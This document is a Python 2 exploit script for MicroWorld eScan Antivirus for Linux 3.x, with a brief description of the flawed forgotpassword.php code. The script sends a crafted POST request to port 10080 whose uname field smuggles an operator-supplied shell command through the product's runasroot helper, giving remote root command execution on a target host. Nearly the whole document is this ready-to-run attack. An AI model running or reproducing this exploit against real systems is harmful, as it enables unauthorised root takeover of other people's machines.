#!/usr/bin/env python import sys from socket import *
#auther: Mohammed almutairi #(Sa.attacker@gmail.com) """ MicroWorld eScan Antivirus < 3.x Remote Root Command Execution Package MWADMIN package vulnerabilities (linux) The Base Packages (MWADMIN and MWAV) must be installed before eScan Link: http://www.escanav.com/english/content/products/escan_linux/linux_products.asp infcted: aLL version 3.X eScan linux 1-Escan for Linux Desktop 2-Escan for Linux file Servers 3-MailScan for Linux and webscan Tested On RedHat and Fedora ULTRA PRIV8 :)
Description:
From /opt/MicroWorld/var/www/htdocs/forgotpassword.php: include("common_functions.php"); <---> (1)
if ($_POST['forgot'] == "Send Password") { $user = $_POST["uname"]; <--->(2) insecure:(
vulnerable code in forgotpassword.php and common_functions.php in (1) $runasroot = "/opt/MicroWorld/sbin/runasroot"; we can injection through via the file forgotpassword.php As you can see (2) with remote root Command Execution >> eScan.py www.***.com eScan@/bin/sh:$Sa$ => reboot [*] Done! sent to: www.***.com """
def xpl(): if len(sys.argv) < 2: print "[*] MicroWorld eScan Antivirus Remote Root Command Execution" print "[*] exploited by Mohammed almutairi" print "[*] usage: %s host" % sys.argv[0] return
host = sys.argv[1] port = 10080 # default port cmd = raw_input("eScan@/bin/sh:$Sa$ => ") sock=socket(AF_INET, SOCK_STREAM) sock.connect((host,port)) sh="/opt/MicroWorld/sbin/runasroot /bin/sh -c '%s'" % cmd
sa= "uname=;%s;" %sh # (;sh;) ---> Here Play See to ^(2)^ sa+= "&forgot=Send+Password" s="POST /forgotpassword.php HTTP/1.1\r\n" s+="Host: %s:%d\r\n"%(host, port) s+="User-Agent: */*\r\n" s+="Accept: ar,en-us;q=0.7,en;q=0.3\r\n" s+="Content-Type: application/x-www-form-urlencoded\r\n" s+="Content-Length: %d \r\n\r\n"%len(sa) s+=sa
sock.sendall(s) print "[*] Done! sent to: %s" % host sock.close()
if __name__=="__main__": xpl() sys.exit(0)
|